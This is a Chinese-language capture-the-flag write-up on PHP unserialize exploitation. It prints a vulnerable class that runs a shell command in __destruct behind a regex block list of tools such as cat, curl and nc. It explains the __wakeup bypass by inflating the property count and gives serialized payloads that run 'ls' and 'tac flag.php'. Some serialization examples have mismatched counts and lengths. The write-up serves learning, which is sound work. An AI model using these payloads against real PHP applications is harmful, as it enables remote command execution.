打开页面,发现是空白的,查看源码,发现一段base64加密的密文,
解密后是backups单词,这个意思是备份,可以猜测是跟index.php.bak文件有关,下载下来备份文件后,获得后台代码,开始代码审计。
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
通过这里的代码,可以知道,这里考的是php序列化,和反序列化的一些知识,还有linux命令的考察。
序列化与反序列化
序列化和反序列化的概念
序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
序列化的常见魔术方法
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
看一串字符串
O:5:"Bugku":2{s:4:"flag";s:13:"flag{smallWhite}";s:4:"num";i:7;}
O:代表对象
5:表示对象类名占5个字符
”Bugku“:表示类名
3:表示类中有3个属性
s:字符串
4:属性名占4个字符
"flag":属性名
"flag{smallWhite}":这个是flag属性的值。
后面的类似
访问控制修饰符
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名
例子
class bugku{
protected $username='admin';
private $password='admin123';
}
序列化
O:5:"bugku":2{s:12:"%00bugku%00admin";s:5:"admin";s:11:"%00*%00password";s:8:"admin123"}
这里的结果可以看出属性权限对于序列化结果的影响
绕过__wakeup()函数
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
O:5:"bugku":3{s:12:"%00bugku%00admin";s:5:"admin";s:11:"%00*%00password";s:8:"admin123"}
通过上面序列化知识的了解,我们就可以开始解题了。
这里可以看到我们应该是利用code变量的get传参,而我们传入的东西,是序列化的结果,来绕过反序列化这个步骤。
这里可以看到我们应该是利用code变量的get传参,而我们传入的东西,是序列化的结果,来绕过反序列化这个步骤。
接下来就是wakeup的绕过,因为,如果不绕过wakeup,我们无法对username传入想要的参数,,绕过wakeup后,只要传入的username和cmd的值正确,在die()的时候就会调用__destruct()函数,来执行cmd命令。
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}//绕过wakeup,不然无论你给username传什么值,都会被wakeup弄成guest。
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))//这里很多命令都被过滤了,但是tac没有被过滤,所以我们可以利用tac来查看
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);//如果传入的username值为admin,那么后台就会执行cmd传入的命令。
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
根据分析可以构造payload:
code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
先用ls看看,flag是不是就在当前目录下。
发现flag就在当前目录,有很多命令被过滤了,经过查询对照linux查看文件命令,发现tac这个命令还没有被过滤。
code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";}
因此使用tac查看flag.php就可以查看到flag。